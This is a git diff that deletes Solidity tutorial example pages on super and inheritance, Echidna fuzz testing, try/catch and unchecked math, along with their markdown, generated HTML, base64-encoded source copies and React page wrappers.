    -        emit Log("A.foo called");
    -    }
    -
    -    function bar() public virtual {
    -        emit Log("A.bar called");
    -    }
    -}
    -
    -contract B is A {
    -    function foo() public virtual override {
    -        emit Log("B.foo called");
    -        A.foo();
    -    }
    -
    -    function bar() public virtual override {
    -        emit Log("B.bar called");
    -        super.bar();
    -    }
    -}
    -
    -contract C is A {
    -    function foo() public virtual override {
    -        emit Log("C.foo called");
    -        A.foo();
    -    }
    -
    -    function bar() public virtual override {
    -        emit Log("C.bar called");
    -        super.bar();
    -    }
    -}
    -
    -contract D is B, C {
    -    // Try:
    -    // - Call D.foo and check the transaction logs.
    -    //   Although D inherits A, B and C, it only called C and then A.
    -    // - Call D.bar and check the transaction logs
    -    //   D called C, then B, and finally A.
    -    //   Although super was called twice (by B and C) it only called A once.
    -
    -    function foo() public override(B, C) {
    -        super.foo();
    -    }
    -
    -    function bar() public override(B, C) {
    -        super.bar();
    -    }
    -}
    -
    ` - -export default html diff --git a/src/pages/super/index.md b/src/pages/super/index.md deleted file mode 100644 index 388d98ebe..000000000 --- a/src/pages/super/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Calling Parent Contracts -version: 0.8.20 -description: An example of calling parent contracts in Solidity -keywords: [calling, parent, contract, contracts, inheritance, super] ---- - -Parent contracts can be called directly, or by using the keyword `super`. - -By using the keyword `super`, all of the immediate parent contracts will be called. - -```solidity -{{{Super}}} -``` diff --git a/src/pages/super/index.tsx b/src/pages/super/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/super/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/tests/echidna/EchidnaTestTimeAndCaller.sol b/src/pages/tests/echidna/EchidnaTestTimeAndCaller.sol deleted file mode 100644 index feb8ca295..000000000 --- a/src/pages/tests/echidna/EchidnaTestTimeAndCaller.sol +++ /dev/null @@ -1,57 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8; - -/* -docker run -it --rm -v $PWD:/code trailofbits/eth-security-toolbox -echidna-test EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller -*/ -contract EchidnaTestTimeAndCaller { - bool private pass = true; - uint private createdAt = block.timestamp; - - /* - test will fail if Echidna can call setFail() - test will pass otherwise - */ - function echidna_test_pass() public view returns (bool) { - return pass; - } - - function setFail() external { - /* - Echidna can call this function if delay <= max block delay - Otherwise Echidna will not be able to call this function. - Max block delay can be extended by specifying it in a configuration file. - */ - uint delay = 7 days; - require(block.timestamp >= createdAt + delay); - pass = false; - } - - // Default senders - // Change the addresses to see the test fail - address[3] private senders = [ - address(0x10000), - address(0x20000), - address(0x00a329C0648769a73afAC7F9381e08fb43DBEA70) - ]; - - address private sender = msg.sender; - - // Pass _sender as input and require msg.sender == _sender - // to see _sender for counter example - function setSender(address _sender) external { - require(_sender == msg.sender); - sender = msg.sender; - } - - // Check default senders. Sender should be one of the 3 default accounts. - function echidna_test_sender() public view returns (bool) { - for (uint i; i < 3; i++) { - if (sender == senders[i]) { - return true; - } - } - return false; - } -} diff --git a/src/pages/tests/echidna/TestEchidna.sol b/src/pages/tests/echidna/TestEchidna.sol deleted file mode 100644 index 084a4b0eb..000000000 --- a/src/pages/tests/echidna/TestEchidna.sol +++ /dev/null @@ -1,62 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -/* -echidna-test TestEchidna.sol --contract TestCounter -*/ -contract Counter { - uint public count; - - function inc() external { - count += 1; - } - - function dec() external { - count -= 1; - } -} - -contract TestCounter is Counter { - function echidna_test_true() public view returns (bool) { - return true; - } - - function echidna_test_false() public view returns (bool) { - return false; - } - - function echidna_test_count() public view returns (bool) { - // Here we are testing that Counter.count should always be <= 5. - // Test will fail. Echidna is smart enough to call Counter.inc() more - // than 5 times. - return count <= 5; - } -} - -/* -echidna-test TestEchidna.sol --contract TestAssert --check-asserts -*/ -contract TestAssert { - // Asserts not detected in 0.8. - // Switch to 0.7 to test assertions - function test_assert(uint _i) external { - assert(_i < 10); - } - - // More complex example - function abs(uint x, uint y) private pure returns (uint) { - if (x >= y) { - return x - y; - } - return y - x; - } - - function test_abs(uint x, uint y) external { - uint z = abs(x, y); - if (x >= y) { - assert(z <= x); - } else { - assert(z <= y); - } - } -} diff --git a/src/pages/tests/echidna/index.html.ts b/src/pages/tests/echidna/index.html.ts deleted file mode 100644 index c8f819a18..000000000 --- a/src/pages/tests/echidna/index.html.ts +++ /dev/null @@ -1,158 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Echidna" -export const description = "An example of testing contracts with Echidna" - -export const keywords = ["test", "echidna"] - -export const codes = [ - { - fileName: "EchidnaTestTimeAndCaller.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuODsKCi8qCmRvY2tlciBydW4gLWl0IC0tcm0gLXYgJFBXRDovY29kZSB0cmFpbG9mYml0cy9ldGgtc2VjdXJpdHktdG9vbGJveAplY2hpZG5hLXRlc3QgRWNoaWRuYVRlc3RUaW1lQW5kQ2FsbGVyLnNvbCAtLWNvbnRyYWN0IEVjaGlkbmFUZXN0VGltZUFuZENhbGxlcgoqLwpjb250cmFjdCBFY2hpZG5hVGVzdFRpbWVBbmRDYWxsZXIgewogICAgYm9vbCBwcml2YXRlIHBhc3MgPSB0cnVlOwogICAgdWludCBwcml2YXRlIGNyZWF0ZWRBdCA9IGJsb2NrLnRpbWVzdGFtcDsKCiAgICAvKgogICAgdGVzdCB3aWxsIGZhaWwgaWYgRWNoaWRuYSBjYW4gY2FsbCBzZXRGYWlsKCkKICAgIHRlc3Qgd2lsbCBwYXNzIG90aGVyd2lzZQogICAgKi8KICAgIGZ1bmN0aW9uIGVjaGlkbmFfdGVzdF9wYXNzKCkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIHJldHVybiBwYXNzOwogICAgfQoKICAgIGZ1bmN0aW9uIHNldEZhaWwoKSBleHRlcm5hbCB7CiAgICAgICAgLyoKICAgICAgICBFY2hpZG5hIGNhbiBjYWxsIHRoaXMgZnVuY3Rpb24gaWYgZGVsYXkgPD0gbWF4IGJsb2NrIGRlbGF5CiAgICAgICAgT3RoZXJ3aXNlIEVjaGlkbmEgd2lsbCBub3QgYmUgYWJsZSB0byBjYWxsIHRoaXMgZnVuY3Rpb24uCiAgICAgICAgTWF4IGJsb2NrIGRlbGF5IGNhbiBiZSBleHRlbmRlZCBieSBzcGVjaWZ5aW5nIGl0IGluIGEgY29uZmlndXJhdGlvbiBmaWxlLgogICAgICAgICovCiAgICAgICAgdWludCBkZWxheSA9IDcgZGF5czsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA+PSBjcmVhdGVkQXQgKyBkZWxheSk7CiAgICAgICAgcGFzcyA9IGZhbHNlOwogICAgfQoKICAgIC8vIERlZmF1bHQgc2VuZGVycwogICAgLy8gQ2hhbmdlIHRoZSBhZGRyZXNzZXMgdG8gc2VlIHRoZSB0ZXN0IGZhaWwKICAgIGFkZHJlc3NbM10gcHJpdmF0ZSBzZW5kZXJzID0gWwogICAgICAgIGFkZHJlc3MoMHgxMDAwMCksCiAgICAgICAgYWRkcmVzcygweDIwMDAwKSwKICAgICAgICBhZGRyZXNzKDB4MDBhMzI5QzA2NDg3NjlhNzNhZkFDN0Y5MzgxZTA4ZmI0M0RCRUE3MCkKICAgIF07CgogICAgYWRkcmVzcyBwcml2YXRlIHNlbmRlciA9IG1zZy5zZW5kZXI7CgogICAgLy8gUGFzcyBfc2VuZGVyIGFzIGlucHV0IGFuZCByZXF1aXJlIG1zZy5zZW5kZXIgPT0gX3NlbmRlcgogICAgLy8gdG8gc2VlIF9zZW5kZXIgZm9yIGNvdW50ZXIgZXhhbXBsZQogICAgZnVuY3Rpb24gc2V0U2VuZGVyKGFkZHJlc3MgX3NlbmRlcikgZXh0ZXJuYWwgewogICAgICAgIHJlcXVpcmUoX3NlbmRlciA9PSBtc2cuc2VuZGVyKTsKICAgICAgICBzZW5kZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIC8vIENoZWNrIGRlZmF1bHQgc2VuZGVycy4gU2VuZGVyIHNob3VsZCBiZSBvbmUgb2YgdGhlIDMgZGVmYXVsdCBhY2NvdW50cy4KICAgIGZ1bmN0aW9uIGVjaGlkbmFfdGVzdF9zZW5kZXIoKSBwdWJsaWMgdmlldyByZXR1cm5zIChib29sKSB7CiAgICAgICAgZm9yICh1aW50IGk7IGkgPCAzOyBpKyspIHsKICAgICAgICAgICAgaWYgKHNlbmRlciA9PSBzZW5kZXJzW2ldKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9Cn0K", - }, - { - fileName: "TestEchidna.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCmVjaGlkbmEtdGVzdCBUZXN0RWNoaWRuYS5zb2wgLS1jb250cmFjdCBUZXN0Q291bnRlcgoqLwpjb250cmFjdCBDb3VudGVyIHsKICAgIHVpbnQgcHVibGljIGNvdW50OwoKICAgIGZ1bmN0aW9uIGluYygpIGV4dGVybmFsIHsKICAgICAgICBjb3VudCArPSAxOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlYygpIGV4dGVybmFsIHsKICAgICAgICBjb3VudCAtPSAxOwogICAgfQp9Cgpjb250cmFjdCBUZXN0Q291bnRlciBpcyBDb3VudGVyIHsKICAgIGZ1bmN0aW9uIGVjaGlkbmFfdGVzdF90cnVlKCkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIGZ1bmN0aW9uIGVjaGlkbmFfdGVzdF9mYWxzZSgpIHB1YmxpYyB2aWV3IHJldHVybnMgKGJvb2wpIHsKICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgZnVuY3Rpb24gZWNoaWRuYV90ZXN0X2NvdW50KCkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIC8vIEhlcmUgd2UgYXJlIHRlc3RpbmcgdGhhdCBDb3VudGVyLmNvdW50IHNob3VsZCBhbHdheXMgYmUgPD0gNS4KICAgICAgICAvLyBUZXN0IHdpbGwgZmFpbC4gRWNoaWRuYSBpcyBzbWFydCBlbm91Z2ggdG8gY2FsbCBDb3VudGVyLmluYygpIG1vcmUKICAgICAgICAvLyB0aGFuIDUgdGltZXMuCiAgICAgICAgcmV0dXJuIGNvdW50IDw9IDU7CiAgICB9Cn0KCi8qCmVjaGlkbmEtdGVzdCBUZXN0RWNoaWRuYS5zb2wgLS1jb250cmFjdCBUZXN0QXNzZXJ0IC0tY2hlY2stYXNzZXJ0cwoqLwpjb250cmFjdCBUZXN0QXNzZXJ0IHsKICAgIC8vIEFzc2VydHMgbm90IGRldGVjdGVkIGluIDAuOC4KICAgIC8vIFN3aXRjaCB0byAwLjcgdG8gdGVzdCBhc3NlcnRpb25zCiAgICBmdW5jdGlvbiB0ZXN0X2Fzc2VydCh1aW50IF9pKSBleHRlcm5hbCB7CiAgICAgICAgYXNzZXJ0KF9pIDwgMTApOwogICAgfQoKICAgIC8vIE1vcmUgY29tcGxleCBleGFtcGxlCiAgICBmdW5jdGlvbiBhYnModWludCB4LCB1aW50IHkpIHByaXZhdGUgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgaWYgKHggPj0geSkgewogICAgICAgICAgICByZXR1cm4geCAtIHk7CiAgICAgICAgfQogICAgICAgIHJldHVybiB5IC0geDsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0X2Ficyh1aW50IHgsIHVpbnQgeSkgZXh0ZXJuYWwgewogICAgICAgIHVpbnQgeiA9IGFicyh4LCB5KTsKICAgICAgICBpZiAoeCA+PSB5KSB7CiAgICAgICAgICAgIGFzc2VydCh6IDw9IHgpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGFzc2VydCh6IDw9IHkpOwogICAgICAgIH0KICAgIH0KfQo=", - }, -] - -const html = `

    Examples of fuzzing with Echidna.

    -
      -
    1. Save the solidity contract as TestEchidna.sol
    2. -
    3. In the folder where your contract is stored execute the following command.
    4. -
    -
    docker run -it --rm -v $PWD:/code trailofbits/eth-security-toolbox
    -

    Inside docker, your code will be stored at /code

    -
      -
    1. See the comments below and execute echidna-test commands.
    2. -
    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.20;
    -
    -/*
    -echidna-test TestEchidna.sol --contract TestCounter
    -*/
    -contract Counter {
    -    uint public count;
    -
    -    function inc() external {
    -        count += 1;
    -    }
    -
    -    function dec() external {
    -        count -= 1;
    -    }
    -}
    -
    -contract TestCounter is Counter {
    -    function echidna_test_true() public view returns (bool) {
    -        return true;
    -    }
    -
    -    function echidna_test_false() public view returns (bool) {
    -        return false;
    -    }
    -
    -    function echidna_test_count() public view returns (bool) {
    -        // Here we are testing that Counter.count should always be <= 5.
    -        // Test will fail. Echidna is smart enough to call Counter.inc() more
    -        // than 5 times.
    -        return count <= 5;
    -    }
    -}
    -
    -/*
    -echidna-test TestEchidna.sol --contract TestAssert --check-asserts
    -*/
    -contract TestAssert {
    -    // Asserts not detected in 0.8.
    -    // Switch to 0.7 to test assertions
    -    function test_assert(uint _i) external {
    -        assert(_i < 10);
    -    }
    -
    -    // More complex example
    -    function abs(uint x, uint y) private pure returns (uint) {
    -        if (x >= y) {
    -            return x - y;
    -        }
    -        return y - x;
    -    }
    -
    -    function test_abs(uint x, uint y) external {
    -        uint z = abs(x, y);
    -        if (x >= y) {
    -            assert(z <= x);
    -        } else {
    -            assert(z <= y);
    -        }
    -    }
    -}
    -

    Testing Time and Sender

    -

    Echidna can fuzz timestamp. Range of timestamp is set in the configuration. Default is 7 days.

    -

    Contract callers can also be set in the configuration. Default accounts are

    -
      -
    • 0x10000
    • -
    • 0x20000
    • -
    • 0x00a329C0648769a73afAC7F9381e08fb43DBEA70
    • -
    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8;
    -
    -/*
    -docker run -it --rm -v $PWD:/code trailofbits/eth-security-toolbox
    -echidna-test EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller
    -*/
    -contract EchidnaTestTimeAndCaller {
    -    bool private pass = true;
    -    uint private createdAt = block.timestamp;
    -
    -    /*
    -    test will fail if Echidna can call setFail()
    -    test will pass otherwise
    -    */
    -    function echidna_test_pass() public view returns (bool) {
    -        return pass;
    -    }
    -
    -    function setFail() external {
    -        /*
    -        Echidna can call this function if delay <= max block delay
    -        Otherwise Echidna will not be able to call this function.
    -        Max block delay can be extended by specifying it in a configuration file.
    -        */
    -        uint delay = 7 days;
    -        require(block.timestamp >= createdAt + delay);
    -        pass = false;
    -    }
    -
    -    // Default senders
    -    // Change the addresses to see the test fail
    -    address[3] private senders = [
    -        address(0x10000),
    -        address(0x20000),
    -        address(0x00a329C0648769a73afAC7F9381e08fb43DBEA70)
    -    ];
    -
    -    address private sender = msg.sender;
    -
    -    // Pass _sender as input and require msg.sender == _sender
    -    // to see _sender for counter example
    -    function setSender(address _sender) external {
    -        require(_sender == msg.sender);
    -        sender = msg.sender;
    -    }
    -
    -    // Check default senders. Sender should be one of the 3 default accounts.
    -    function echidna_test_sender() public view returns (bool) {
    -        for (uint i; i < 3; i++) {
    -            if (sender == senders[i]) {
    -                return true;
    -            }
    -        }
    -        return false;
    -    }
    -}
    -
    ` - -export default html diff --git a/src/pages/tests/echidna/index.md b/src/pages/tests/echidna/index.md deleted file mode 100644 index 102da1f9c..000000000 --- a/src/pages/tests/echidna/index.md +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: Echidna -version: 0.8.20 -description: An example of testing contracts with Echidna -keywords: [test, echidna] ---- - -Examples of fuzzing with [Echidna](https://github.com/crytic/echidna). - -1. Save the solidity contract as `TestEchidna.sol` -2. In the folder where your contract is stored execute the following command. - -```shell -docker run -it --rm -v $PWD:/code trailofbits/eth-security-toolbox -``` - -Inside docker, your code will be stored at `/code` - -3. See the comments below and execute `echidna-test` commands. - -```solidity -{{{TestEchidna}}} -``` - -### Testing Time and Sender - -Echidna can fuzz timestamp. Range of timestamp is set in the configuration. Default is 7 days. - -Contract callers can also be set in the configuration. Default accounts are - -- `0x10000` -- `0x20000` -- `0x00a329C0648769a73afAC7F9381e08fb43DBEA70` - -```solidity -{{{EchidnaTestTimeAndCaller}}} -``` diff --git a/src/pages/tests/echidna/index.tsx b/src/pages/tests/echidna/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/tests/echidna/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/try-catch/TryCatch.sol b/src/pages/try-catch/TryCatch.sol deleted file mode 100644 index fa38d0422..000000000 --- a/src/pages/try-catch/TryCatch.sol +++ /dev/null @@ -1,58 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -// External contract used for try / catch examples -contract Foo { - address public owner; - - constructor(address _owner) { - require(_owner != address(0), "invalid address"); - assert(_owner != 0x0000000000000000000000000000000000000001); - owner = _owner; - } - - function myFunc(uint x) public pure returns (string memory) { - require(x != 0, "require failed"); - return "my func was called"; - } -} - -contract Bar { - event Log(string message); - event LogBytes(bytes data); - - Foo public foo; - - constructor() { - // This Foo contract is used for example of try catch with external call - foo = new Foo(msg.sender); - } - - // Example of try / catch with external call - // tryCatchExternalCall(0) => Log("external call failed") - // tryCatchExternalCall(1) => Log("my func was called") - function tryCatchExternalCall(uint _i) public { - try foo.myFunc(_i) returns (string memory result) { - emit Log(result); - } catch { - emit Log("external call failed"); - } - } - - // Example of try / catch with contract creation - // tryCatchNewContract(0x0000000000000000000000000000000000000000) => Log("invalid address") - // tryCatchNewContract(0x0000000000000000000000000000000000000001) => LogBytes("") - // tryCatchNewContract(0x0000000000000000000000000000000000000002) => Log("Foo created") - function tryCatchNewContract(address _owner) public { - try new Foo(_owner) returns (Foo foo) { - // you can use variable foo here - emit Log("Foo created"); - } catch Error(string memory reason) { - // catch failing revert() and require() - emit Log(reason); - } catch (bytes memory reason) { - // catch failing assert() - emit LogBytes(reason); - } - } -} diff --git a/src/pages/try-catch/index.html.ts b/src/pages/try-catch/index.html.ts deleted file mode 100644 index eec8dda0e..000000000 --- a/src/pages/try-catch/index.html.ts +++ /dev/null @@ -1,76 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Try Catch" -export const description = "An example of try / catch in Solidity" - -export const keywords = ["try", "catch", "error", "errors"] - -export const codes = [ - { - fileName: "TryCatch.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8vIEV4dGVybmFsIGNvbnRyYWN0IHVzZWQgZm9yIHRyeSAvIGNhdGNoIGV4YW1wbGVzCmNvbnRyYWN0IEZvbyB7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9vd25lcikgewogICAgICAgIHJlcXVpcmUoX293bmVyICE9IGFkZHJlc3MoMCksICJpbnZhbGlkIGFkZHJlc3MiKTsKICAgICAgICBhc3NlcnQoX293bmVyICE9IDB4MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMSk7CiAgICAgICAgb3duZXIgPSBfb3duZXI7CiAgICB9CgogICAgZnVuY3Rpb24gbXlGdW5jKHVpbnQgeCkgcHVibGljIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJlcXVpcmUoeCAhPSAwLCAicmVxdWlyZSBmYWlsZWQiKTsKICAgICAgICByZXR1cm4gIm15IGZ1bmMgd2FzIGNhbGxlZCI7CiAgICB9Cn0KCmNvbnRyYWN0IEJhciB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwogICAgZXZlbnQgTG9nQnl0ZXMoYnl0ZXMgZGF0YSk7CgogICAgRm9vIHB1YmxpYyBmb287CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgLy8gVGhpcyBGb28gY29udHJhY3QgaXMgdXNlZCBmb3IgZXhhbXBsZSBvZiB0cnkgY2F0Y2ggd2l0aCBleHRlcm5hbCBjYWxsCiAgICAgICAgZm9vID0gbmV3IEZvbyhtc2cuc2VuZGVyKTsKICAgIH0KCiAgICAvLyBFeGFtcGxlIG9mIHRyeSAvIGNhdGNoIHdpdGggZXh0ZXJuYWwgY2FsbAogICAgLy8gdHJ5Q2F0Y2hFeHRlcm5hbENhbGwoMCkgPT4gTG9nKCJleHRlcm5hbCBjYWxsIGZhaWxlZCIpCiAgICAvLyB0cnlDYXRjaEV4dGVybmFsQ2FsbCgxKSA9PiBMb2coIm15IGZ1bmMgd2FzIGNhbGxlZCIpCiAgICBmdW5jdGlvbiB0cnlDYXRjaEV4dGVybmFsQ2FsbCh1aW50IF9pKSBwdWJsaWMgewogICAgICAgIHRyeSBmb28ubXlGdW5jKF9pKSByZXR1cm5zIChzdHJpbmcgbWVtb3J5IHJlc3VsdCkgewogICAgICAgICAgICBlbWl0IExvZyhyZXN1bHQpOwogICAgICAgIH0gY2F0Y2ggewogICAgICAgICAgICBlbWl0IExvZygiZXh0ZXJuYWwgY2FsbCBmYWlsZWQiKTsKICAgICAgICB9CiAgICB9CgogICAgLy8gRXhhbXBsZSBvZiB0cnkgLyBjYXRjaCB3aXRoIGNvbnRyYWN0IGNyZWF0aW9uCiAgICAvLyB0cnlDYXRjaE5ld0NvbnRyYWN0KDB4MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMCkgPT4gTG9nKCJpbnZhbGlkIGFkZHJlc3MiKQogICAgLy8gdHJ5Q2F0Y2hOZXdDb250cmFjdCgweDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDEpID0+IExvZ0J5dGVzKCIiKQogICAgLy8gdHJ5Q2F0Y2hOZXdDb250cmFjdCgweDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDIpID0+IExvZygiRm9vIGNyZWF0ZWQiKQogICAgZnVuY3Rpb24gdHJ5Q2F0Y2hOZXdDb250cmFjdChhZGRyZXNzIF9vd25lcikgcHVibGljIHsKICAgICAgICB0cnkgbmV3IEZvbyhfb3duZXIpIHJldHVybnMgKEZvbyBmb28pIHsKICAgICAgICAgICAgLy8geW91IGNhbiB1c2UgdmFyaWFibGUgZm9vIGhlcmUKICAgICAgICAgICAgZW1pdCBMb2coIkZvbyBjcmVhdGVkIik7CiAgICAgICAgfSBjYXRjaCBFcnJvcihzdHJpbmcgbWVtb3J5IHJlYXNvbikgewogICAgICAgICAgICAvLyBjYXRjaCBmYWlsaW5nIHJldmVydCgpIGFuZCByZXF1aXJlKCkKICAgICAgICAgICAgZW1pdCBMb2cocmVhc29uKTsKICAgICAgICB9IGNhdGNoIChieXRlcyBtZW1vcnkgcmVhc29uKSB7CiAgICAgICAgICAgIC8vIGNhdGNoIGZhaWxpbmcgYXNzZXJ0KCkKICAgICAgICAgICAgZW1pdCBMb2dCeXRlcyhyZWFzb24pOwogICAgICAgIH0KICAgIH0KfQo=", - }, -] - -const html = `

    try / catch can only catch errors from external function calls and contract creation.

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.20;
    -
    -// External contract used for try / catch examples
    -contract Foo {
    -    address public owner;
    -
    -    constructor(address _owner) {
    -        require(_owner != address(0), "invalid address");
    -        assert(_owner != 0x0000000000000000000000000000000000000001);
    -        owner = _owner;
    -    }
    -
    -    function myFunc(uint x) public pure returns (string memory) {
    -        require(x != 0, "require failed");
    -        return "my func was called";
    -    }
    -}
    -
    -contract Bar {
    -    event Log(string message);
    -    event LogBytes(bytes data);
    -
    -    Foo public foo;
    -
    -    constructor() {
    -        // This Foo contract is used for example of try catch with external call
    -        foo = new Foo(msg.sender);
    -    }
    -
    -    // Example of try / catch with external call
    -    // tryCatchExternalCall(0) => Log("external call failed")
    -    // tryCatchExternalCall(1) => Log("my func was called")
    -    function tryCatchExternalCall(uint _i) public {
    -        try foo.myFunc(_i) returns (string memory result) {
    -            emit Log(result);
    -        } catch {
    -            emit Log("external call failed");
    -        }
    -    }
    -
    -    // Example of try / catch with contract creation
    -    // tryCatchNewContract(0x0000000000000000000000000000000000000000) => Log("invalid address")
    -    // tryCatchNewContract(0x0000000000000000000000000000000000000001) => LogBytes("")
    -    // tryCatchNewContract(0x0000000000000000000000000000000000000002) => Log("Foo created")
    -    function tryCatchNewContract(address _owner) public {
    -        try new Foo(_owner) returns (Foo foo) {
    -            // you can use variable foo here
    -            emit Log("Foo created");
    -        } catch Error(string memory reason) {
    -            // catch failing revert() and require()
    -            emit Log(reason);
    -        } catch (bytes memory reason) {
    -            // catch failing assert()
    -            emit LogBytes(reason);
    -        }
    -    }
    -}
    -
    ` - -export default html diff --git a/src/pages/try-catch/index.md b/src/pages/try-catch/index.md deleted file mode 100644 index 792caada7..000000000 --- a/src/pages/try-catch/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Try Catch -version: 0.8.20 -description: An example of try / catch in Solidity -keywords: [try, catch, error, errors] ---- - -`try / catch` can only catch errors from external function calls and contract creation. - -```solidity -{{{TryCatch}}} -``` diff --git a/src/pages/try-catch/index.tsx b/src/pages/try-catch/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/try-catch/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/unchecked-math/UncheckedMath.sol b/src/pages/unchecked-math/UncheckedMath.sol deleted file mode 100644 index 4229c6031..000000000 --- a/src/pages/unchecked-math/UncheckedMath.sol +++ /dev/null @@ -1,34 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract UncheckedMath { - function add(uint x, uint y) external pure returns (uint) { - // 22291 gas - // return x + y; - - // 22103 gas - unchecked { - return x + y; - } - } - - function sub(uint x, uint y) external pure returns (uint) { - // 22329 gas - // return x - y; - - // 22147 gas - unchecked { - return x - y; - } - } - - function sumOfCubes(uint x, uint y) external pure returns (uint) { - // Wrap complex math logic inside unchecked - unchecked { - uint x3 = x * x * x; - uint y3 = y * y * y; - - return x3 + y3; - } - } -} diff --git a/src/pages/unchecked-math/index.html.ts b/src/pages/unchecked-math/index.html.ts deleted file mode 100644 index 1ecd47a55..000000000 --- a/src/pages/unchecked-math/index.html.ts +++ /dev/null @@ -1,53 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Unchecked Math" -export const description = "An example of unchecked math in Solidity" - -export const keywords = ["gas", "unchecked", "math", "overflow", "underflow"] - -export const codes = [ - { - fileName: "UncheckedMath.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFVuY2hlY2tlZE1hdGggewogICAgZnVuY3Rpb24gYWRkKHVpbnQgeCwgdWludCB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQpIHsKICAgICAgICAvLyAyMjI5MSBnYXMKICAgICAgICAvLyByZXR1cm4geCArIHk7CgogICAgICAgIC8vIDIyMTAzIGdhcwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHJldHVybiB4ICsgeTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gc3ViKHVpbnQgeCwgdWludCB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQpIHsKICAgICAgICAvLyAyMjMyOSBnYXMKICAgICAgICAvLyByZXR1cm4geCAtIHk7CgogICAgICAgIC8vIDIyMTQ3IGdhcwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHJldHVybiB4IC0geTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gc3VtT2ZDdWJlcyh1aW50IHgsIHVpbnQgeSkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgLy8gV3JhcCBjb21wbGV4IG1hdGggbG9naWMgaW5zaWRlIHVuY2hlY2tlZAogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHVpbnQgeDMgPSB4ICogeCAqIHg7CiAgICAgICAgICAgIHVpbnQgeTMgPSB5ICogeSAqIHk7CgogICAgICAgICAgICByZXR1cm4geDMgKyB5MzsKICAgICAgICB9CiAgICB9Cn0K", - }, -] - -const html = `

    Overflow and underflow of numbers in Solidity 0.8 throw an error. This can be disabled by using unchecked.

    -

    Disabling overflow / underflow check saves gas.

    -
